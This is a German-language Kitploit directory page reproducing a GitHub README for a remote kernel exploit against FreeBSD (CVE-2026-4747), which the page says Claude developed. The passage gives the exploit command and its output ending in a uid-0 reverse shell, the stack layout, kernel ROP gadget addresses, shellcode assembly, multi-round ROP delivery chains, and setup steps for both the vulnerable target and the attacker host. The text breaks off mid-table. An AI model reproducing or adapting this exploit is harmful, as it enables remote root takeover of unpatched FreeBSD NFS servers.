Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-4747- — Remote-Kernel-Exploit für FreeBSD CVE-2026-4747, der einen Stack-Pufferüberlauf in kgssapi.ko ausnutzt, um RCE mit einer Reverse Shell zu erreichen. Enthält mehrstufige ROP-Zustellung und detaillierte Setup-Anweisungen. | Kitploit
Tools/GitHubGitHub/kaleth4/cve-2026-4747-
Exploit-FrameworksSchwachstellenanalyseExploitationReverse EngineeringPayload-EntwicklungBinary-Exploitation
GitHubkaleth4/cve-2026-4747-

CVE-2026-4747-

Remote-Kernel-Exploit für FreeBSD CVE-2026-4747, der einen Stack-Pufferüberlauf in kgssapi.ko ausnutzt, um RCE mit einer Reverse Shell zu erreichen. Enthält mehrstufige ROP-Zustellung und detaillierte Setup-Anweisungen.

Repository anzeigen
17vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-4747: FreeBSD Remote Kernel RCE

Erster Remote-Kernel-Exploit, der sowohl von einer KI entdeckt als auch ausgenutzt wurde


📋 Kurzübersicht

AspektDetail
CVECVE-2026-4747
SchwachstelleStack-Pufferüberlauf in kgssapi.ko (RPCSEC_GSS)
AuswirkungRemote-Kernel-Code-Ausführung → uid 0 Reverse Shell
BetroffenFreeBSD 13.5, 14.3, 14.4, 15.0 (ungepatchte Versionen)
Entdeckt vonNicholas Carlini mit Claude (Anthropic)
Advisory-Datum2026-03-26
Exploit-Zeit~8 Stunden (4 Stunden echte Arbeitszeit von Claude)

🎯 Zeitplan

  • 2026-03-26: FreeBSD veröffentlicht Advisory CVE-2026-4747
  • 9:45 Uhr PDT 2026-03-29: Claude wird beauftragt, einen Exploit zu entwickeln
  • 17:00 Uhr PDT 2026-03-29: Claude liefert funktionierenden Exploit mit Reverse Shell als uid 0

🚀 Live-Demonstration

root@kitploit:~
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444

Ausgabe:

root@kitploit:~
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  Ziel:     127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  Shellcode: 432 Bytes (54 qwords)
  Zustellung: 15 Runden (1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX) ✓
  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓

  [*] Shellcode zugestellt und wird ausgeführt
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse Shell → 10.0.2.2:4444

  [+] Verbindung von 127.0.0.1:41320
  [+] Shell erhalten!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

🔍 Was hat Claude getan?

Claude löste 6 verschiedene technische Probleme, um von einem Advisory zu einer funktionierenden Reverse Shell zu gelangen:

1️⃣ Lab-Einrichtung

  • FreeBSD 14.4-RELEASE VM mit NFS + Kerberos
  • Kritische Anforderung: 2+ CPUs (der Exploit tötet 1 NFS-Thread pro Runde, benötigt 15 Runden)
  • Remote-Debugging zum Lesen von Kernel-Crash-Dumps

2️⃣ Multi-Paket-Zustellung

  • 432 Bytes Shellcode passen nicht in 1 Paket (XDR-Limit: 400 Bytes)
  • Lösung: 15 Runden Overflow
    • Runde 1: pmap_change_prot() → BSS ausführbar
    • Runden 2-14: Schreibt Shellcode, 32 Bytes pro Runde
    • Runde 15: Letzte 16 Bytes + Sprung zum Shellcode

3️⃣ Sauberes Beenden von Threads

  • Jeder Overflow kapert einen NFS-Worker-Thread
  • Verwendet kthread_exit(), um sauber zu beenden (ohne Kernel-Panic)
  • NFS-Server bleibt für die nächste Runde am Leben

4️⃣ Offset-Debugging (De-Bruijn-Muster)

  • Anfängliches Disassembly sagte RIP bei Byte 168 → FALSCH
  • Claude sendete ein zyklisches De-Bruijn-Muster
  • Las den Kernel-Crash-Dump → echter Offset: Byte 200
  • Differenz von 32 Bytes: GSS-Header + Kontextverwaltung

5️⃣ Kernel → Userland-Übergang

  • NFS-Threads sind reine Kernel-Threads (ohne vmspace, ohne Trapframe)
  • Zweiphasige Lösung:
    • Phase 1: kproc_create() → neuer Prozess mit User-Mode-Infrastruktur
    • Phase 2: kern_execve("/bin/sh") → lädt ELF, konfiguriert Trapframe, entfernt P_KPROC-Flag
    • Ergebnis: /bin/sh läuft in Ring 3 als uid 0

6️⃣ Mysterium der Debug-Register (DR7/DDB)

  • Worker stürzte mit trap 1 (Debug-Exception) bei gültiger Instruktion ab
  • Ursache: kproc_create() erbt Debug-Register vom Elternprozess
  • Frühere Panics hatten DDB aktiviert → persistente Hardware-Breakpoints
  • Fix: DR7 vor kproc_create() löschen

🏗️ Technische Architektur

Stack-Layout (mit De-Bruijn verifiziert)

root@kitploit:~
Credential-Body-Byte → Stack-Ziel
[0..35]              → GSS-Header (Version, proc, seq, svc, handle)
[36..151]            → Padding (rpchdr-Rest + lokale Variablen)
[152..199]           → Gespeicherte Register (RBX, R12, R13, R14, R15, RBP)
[200..207]           → RUECKSPRUNGADRESSE ← Erstes ROP-Gadget
[208..399]           → ROP-Kette (192 Bytes = 24 qwords)

ROP-Gadgets (FreeBSD 14.4-RELEASE)

GadgetAdresseZweck
pop rdi; retK+0x1adcdaArg 1 (rdi)
pop rsi; retK+0x1cdf98Arg 2 (rsi)
pop rdx; retK+0x5fa429Arg 3 (rdx)
pop rax; retK+0x400cb4Wert zum Schreiben
mov [rdi], rax; ret0xffffffff80e3457cBeliebiges Schreiben von 8 Bytes

Wobei K = 0xffffffff80200000 (Kernel-Basis, ohne KASLR in FreeBSD 14.x)

Shellcode (432 Bytes)

Phase 1 - Entry (gekaperter NFS-Thread):

root@kitploit:~
mov rax, 0xffffffff8198bf00    ; Stack-Pivot zu BSS
mov rsp, rax
xor eax, eax
mov dr7, rax                    ; Hardware-Breakpoints löschen
call rbx                        ; kproc_create (vorab in RBX geladen)
mov rax, kthread_exit
call rax                        ; Thread sauber beenden

Phase 2 - Worker (neuer Kernel-Prozess):

root@kitploit:~
; Argumente für kern_execve konfigurieren
lea rdi, [rbp - 0x80]          ; &image_args
mov rsi, "/bin/sh"
mov edx, 1                      ; UIO_SYSSPACE
call exec_args_add_fname

; "-c" und Reverse-Shell-Befehl hinzufügen
; ...

; /bin/sh ausführen
mov rdi, gs:[0]                 ; curthread
mov rax, [rdi + 0x08]           ; proc
call kern_execve

; P_KPROC-Flag löschen
and byte [rax + 0xb8], 0xfb    ; Übergang zu Userland erlauben
ret                             ; → fork_exit → userret → iretq → Ring 3

🛠️ Zielkonfiguration

Option A: QEMU (automatisiert mit cloud-init)

root@kitploit:~
# Image herunterladen
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G

# Cloud-init-Konfiguration
cat > user-data << 'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
runcmd:
  - kldload kgssapi
  - sysrc rpcbind_enable=YES nfs_server_enable=YES
  - service rpcbind start && service nfsd start
EOF

# Boot mit Port-Forwarding
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
  -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -device virtio-net-pci,netdev=net0 -nographic

Option B: VMware / VirtualBox / bhyve (manuell)

Anforderungen:

  • 2+ CPUs (kritisch: 8 NFS-Threads/CPU, Exploit benötigt 15 Runden)
  • 2GB RAM, 8GB Festplatte
  • FreeBSD 14.4-RELEASE

Einrichtung in der VM:

root@kitploit:~
# 1. Kerberos installieren
pkg install -y krb5

# 2. KDC erstellen
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    default_realm = TEST.LOCAL
[realms]
    TEST.LOCAL = {
        kdc = 127.0.0.1
        admin_server = 127.0.0.1
    }
EOF

# 3. KDC-Datenbank initialisieren
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL

# 4. Principals erstellen (ersetze "test" durch deinen Hostnamen)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"

# 5. KDC starten
/usr/local/sbin/krb5kdc

# 6. NFS konfigurieren
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports

# 7. Dienste aktivieren
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start

# 8. Verifizieren
sysctl vfs.nfsd.threads        # Sollte 16 anzeigen (mit 2 CPUs)
sockstat -l | grep 2049        # Sollte tcp4/tcp6 anzeigen

Einrichtung auf dem Angreifer-Host (Linux)

root@kitploit:~
# 1. Pakete installieren
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi

# 2. /etc/krb5.conf konfigurieren
sudo tee /etc/krb5.conf << EOF
[libdefaults]
    default_realm = TEST.LOCAL
    rdns = false                       # KRITISCH: verhindert DNS-Kanonisierung
    dns_canonicalize_hostname = false
[realms]
    TEST.LOCAL = {
        kdc = VM_IP:KDC_PORT           # 127.0.0.1:8888 (QEMU) oder 192.168.x.x:88 (bridged)
    }
EOF

# 3. Hostnamen zu /etc/hosts hinzufügen
echo "VM_IP test" | sudo tee -a /etc/hosts

# 4. Kerberos-Ticket erhalten
echo "password" | kinit [email protected]
klist

# 5. (Optional) ROPgadget installieren, um neue Gadgets zu finden
pip install ROPgadget

🎪 Exploit-Strategie

Runde 1: BSS ausführbar machen

root@kitploit:~
ROP-Kette:
  pop rdi          → rdi = 0xffffffff8198a000 (BSS-Seite)
  pop rsi          → rsi = 0x2000 (2 Seiten = 8KB)
  pop rdx          → rdx = 7 (VM_PROT_ALL = RWX)
  pmap_change_prot → ändert Berechtigungen auf RWX
  pop rdi          → rdi = 0
  kthread_exit     → Thread sauber beenden

Runden 2–14: Shellcode schreiben

Jede Runde schreibt 32 Bytes (4 qwords) nach BSS:

root@kitploit:~
ROP-Ketten-Vorlage:
  pop rdi          → rdi = BSS_SC + offset
  pop rax          → rax = shellcode_qword
  mov [rdi], rax   → schreibt 8 Bytes
  (3 weitere Male wiederholen)
  pop rdi          → 0
  kthread_exit     → beenden

Kosten: 40 Bytes ROP/8 Bytes geschrieben → 15 Runden insgesamt

Runde 15: Sprung zum Shellcode

root@kitploit:~
ROP-Kette:
  pop rdi          → rdi = BSS_SC + 416
  pop rax          → rax = letztes qword
  mov [rdi], rax   → schreiben
  (wiederholen)
  BSS_SC           → SPRUNG ZUM SHELLCODE!

🐛 Gelöste Herausforderungen

ProblemUrsacheLösung
Falscher RIP-OffsetStatisches Disassembly zählte GSS-Header nichtDe-Bruijn-Muster + Crash-Dump lesen
MIT/Heimdal-InkompatibilitätDNS-Kanonisierung des Hostnamensrdns = false + dns_canonicalize_hostname = false
Trap 1 im WorkerVon DDB geerbte Debug-RegisterDR7 vor kproc_create() löschen
Shellcode passt nicht432 Bytes > 400 Bytes (XDR-Limit)Zustellung in
Tool herunterladen